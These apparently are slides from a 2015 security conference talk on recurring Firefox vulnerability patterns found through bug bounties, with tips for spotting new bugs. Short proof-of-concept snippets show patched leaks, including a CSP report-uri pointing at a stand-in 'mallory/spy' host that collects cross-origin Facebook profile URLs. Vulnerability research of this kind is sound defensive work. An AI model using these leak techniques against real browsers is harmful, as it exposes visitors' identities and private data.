The number of corporations establishing bug bounty programs in order to accomplish early discovery of vulnerabilities is increasing. So far, I have reported vulnerabilities in Firefox and received 45,000 USD (5,400,000 JPY) in bounties from the developer, which is the Mozilla Foundation. As a matter of fact, the vulnerabilities discovered in Firefox have a trend however, the awareness of the trend has not being raised among the Firefox developers and every time a new feature is implemented, a similar vulnerability is repeatedly created in the code. In this session, based on the vulnerabilities I have discovered in the past, I will introduce the patterns of vulnerabilities frequently observed in Firefox and delineate the root cause of those vulnerabilities. In addition, I will introduce my practical method that will allow you to effectively discover bugs in Firefox. This method is actually applicable not only to Firefox but any other open source software as it is based on an issue particular to open source software.

1. Defeating Firefox
CODE BLUE 2015
“Foxkeh" (C) 2006 Mozilla Japan

2. $61,500 (¥7.4 Million)
My Achievements in This Year
Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740
Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078
Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556
Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520
Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208956
Bug 1106713 Bug 1160069 Bug 1192595

3. How to Defeat Firefox
Today's Theme
• In Firefox, there are common pitfalls they fall into
• Firefox developers regularly step into similar pitfalls
that are not very known yet. With every new feature,
they tend to repeat their mistakes
“Foxkeh" (C) 2006 Mozilla Japan

4. How to Defeat Firefox
• It is easy to find a bug if you learn common mistake
patterns
• Then, Mozilla would pay your Code Blue fee back
“Foxkeh" (C) 2006 Mozilla Japan
Today's Theme

5. Insufficient Implementation of
Feature Spec.
“Foxkeh" (C) 2006 Mozilla Japan
Patterns of Security Bug 1/3

6. • Specs are usually formulated by standards
organizations (e.g. IETF and W3C)
Anyone can download spec documents for free
• Specs cover impl. requirements for user agents
Security risks brought by a feature and its mitigations are also written
Browser Features and Specs

7. • Requirements are not implemented sometimes
Peer review and testing are not enough before release
• You can find bugs by testing based on a spec
I won $10,000+ by this way
Insufficient Spec Impl. of Firefox

8. Missing Restriction for
HTTP Request Headers in Fetch API
Example
Bug 1162411

9. Fetch API
• Fetch HTTP resources asynchronously
In brief, it's like an improved version of XMLHttpRequest
HTTP request
fetch('http://example.jp/')
HTTP response
http://example.jp/

10. Usage of Fetch API
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})

11. Prohibitions on Fetch API
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
'TRACE' and others are not allowed
Host, Cookie and others
are not allowed
Request body can not be set
if method is GET or HEAD
Set-Cookie is not allowed

12. Missing Restriction on Firefox
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
Firefox allowed to set arbitrary
request headers (e.g. Host)

13. DEMO

14. Improper Handling of HTTP
Redirects
“Foxkeh" (C) 2006 Mozilla Japan
Patterns of Security Bug 2/3

15. HTTP Redirects
same.tld other.tld
http://same.tld/
Location: http://other.tld/
http://other.tld/
Response
HTTP redirects

16. Pitfalls of HTTP Redirects (1/2)
same.tld other.tld
http://same.tld/
Location: http://other.tld/
http://other.tld/
Response
Origin specified by user and…
origin respond to the request are
sometimes different
HTTP redirects

17. Origin Confusion in Cache Data
of Service Workers (SW)
Bug 1164397
Example

18. DEMO

19. http://example.jp/
Service Workers (SW)
• Worker process run in the background of pages
E.g. intercepting HTTP requests instead of pages and handling cache
SWPage
Cache

20. Origin Confusion of Cache in Firefox
SWPage
(mallory)
Cache
mallory
facebook
mallory/resource mallory/resource
Redirection
Response from facebook is
cached as data of mallory

21. Pitfalls of HTTP Redirects (2/2)
• URL after redirect may contain sensitive data
E.g. user name that is logged in to an other website
• Do not leak URL after redirect to other origins
E.g. the final URL of redirection has not to be included in error
messages etc.

22. (Ex.) Facebook
https://www.facebook.com/profile.php
301 Moved Permanently

23. (Ex.) Windows Azure
https://manage.windowsazure.com
302 Found

24. CVE-2014-1487 by Masato Kinugawa
window.onerror = function( e ) { alert( e ); }
new Worker('redirect?to=https://www.facebook.com/profile.php');
Try to load other origin URL
as a worker script

25. window.onerror = function( e ) { alert( e ); }
new Worker('redirect?to=https://www.facebook.com/profile.php');
CVE-2014-1487 by Masato Kinugawa

26. Visitor's Facebook Profile Is Identifiable

27. Cross Origin URL Leakage
in CSP Violation Report
Bug 1069762 (CVE-2014-1591)
Example

28. If a Visitor Opens Following Page
// HTTP Response Header
Content-Security-Policy-Report-Only "frame-src 'none';
report-uri http://mallory/spy;"
// Exploit HTML
<iframe src="https://www.facebook.com/profile.php">

29. Following Report Is Sent to the Attacker
// HTTP Response Header
Content-Security-Policy-Report-Only "frame-src 'none';
report-uri http://mallory/spy;"
// Exploit HTML
<iframe src="https://www.facebook.com/profile.php">

30. http://www.w3.org/TR/2012/CR-CSP-20121115/

31. CSP Specs Prohibit to Do So…

32. Bugs Arising from Inconsistency
with the Network Stack (Necko)
“Foxkeh" (C) 2006 Mozilla Japan
Patterns of Security Bug 3/3

33. Firefox Architecture
Thanks to Makoto Kato (Mozilla Japan)
https://docs.google.com/presentation/d/17KvlHVH2JsioGuPKCuBDayjK6WSJoTLfzgpiMG1SKpY
Network module
DOM and JavaScript API impl.

34. Typical Example of Security Checks
Page
DOM / Web API
Network
(Necko)
Verify origin Verify server
Request for Network
Communication

35. Typical Example of Security Checks
Page
DOM / Web API
Network
(Necko)
Bugs are introduced due to
inconsistency between them
Verify origin Verify server
Request for Network
Communication

36. SSL Certificate Verification Bypass
by Opportunistic Encryption (OE)
Bug 1148328 (CVE-2015-0799)
Example

37. Opportunistic Encryption (OE)
• Encrypt network traffic on http:
One of a mitigation against pervasive surveillance led by agency, now
under development as an enhancement of http/2
• Use TLS without server verification
TLS session using invalid certificate is relatively safer than plain text
(OE still requires server verification for https: as usual)

38. DEMO

39. Sequence of SSL Verification Bypass
twitter(fake)
http://mallory
Request OE on http://twitter
mallory
Establish TLS connection without server verification (OE)
Publish a Session Ticket
https://twitter Resume TLS session with the Session Ticket
TLS connection established (session resumption)

40. Mechanism of the Flaw
Page
DOM / Web API
Network
(Necko)
HTTP and HTTPS
are different origins
OE and HTTPS share
same TLS impl.
Session tickets of http://twitter and
https://twitter have to be isolated

41. “Foxkeh" (C) 2006 Mozilla Japan
To Find Security Bugs Efficiently

42. Check the Pitfalls Iteratively
• Similar bugs are often introduced on new features
New major version of Firefox is released every 6 weeks, then new
committers who don't know pitfalls (may) introduce similar bug
• Collect info. of known bugs and new features
Try to test same attack scenario on newly implemented features

43. Sources of Information
• Security advisories for Firefox (Known bugs)
https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/
• Firefox developer release notes (New features)
https://developer.mozilla.org/en-US/Firefox/Releases

44. Sources of Further Information
• Firefox Commit logs
http://hg.mozilla.org/mozilla-central/shortlog
• Bugzilla
https://bugzilla.mozilla.org/

45. Find Security Bugs From Commit Logs
If rejected to access,
(maybe) it's a security bug

46. Find Security Bugs from Bugzilla
• Track activity of Mozilla security team
Technical Information of security bugs is fully managed by them

47. Confidential bugs
were disclosed!!
Someone got a bounty!!

48. “Foxkeh" (C) 2006 Mozilla Japan
Conclusion

49. Mozilla's Vulnerability Response
• Swift response
- Severe bugs are (usually) fixed within 1 month
- Critical bug fixes affecting many users are delivered via urgent update
• Transparent
- Reporter can participate in discussion on the correction on Bugzilla
- They clearly tell us why they rated the severity of reported bug
- If the bug was already reported before but it wasn't disclosed, they
would grant access to the original ticket

50. Thanks!
Mozilla Security Team &
Mozilla Japan Guys
“Foxkeh" (C) 2006 Mozilla Japan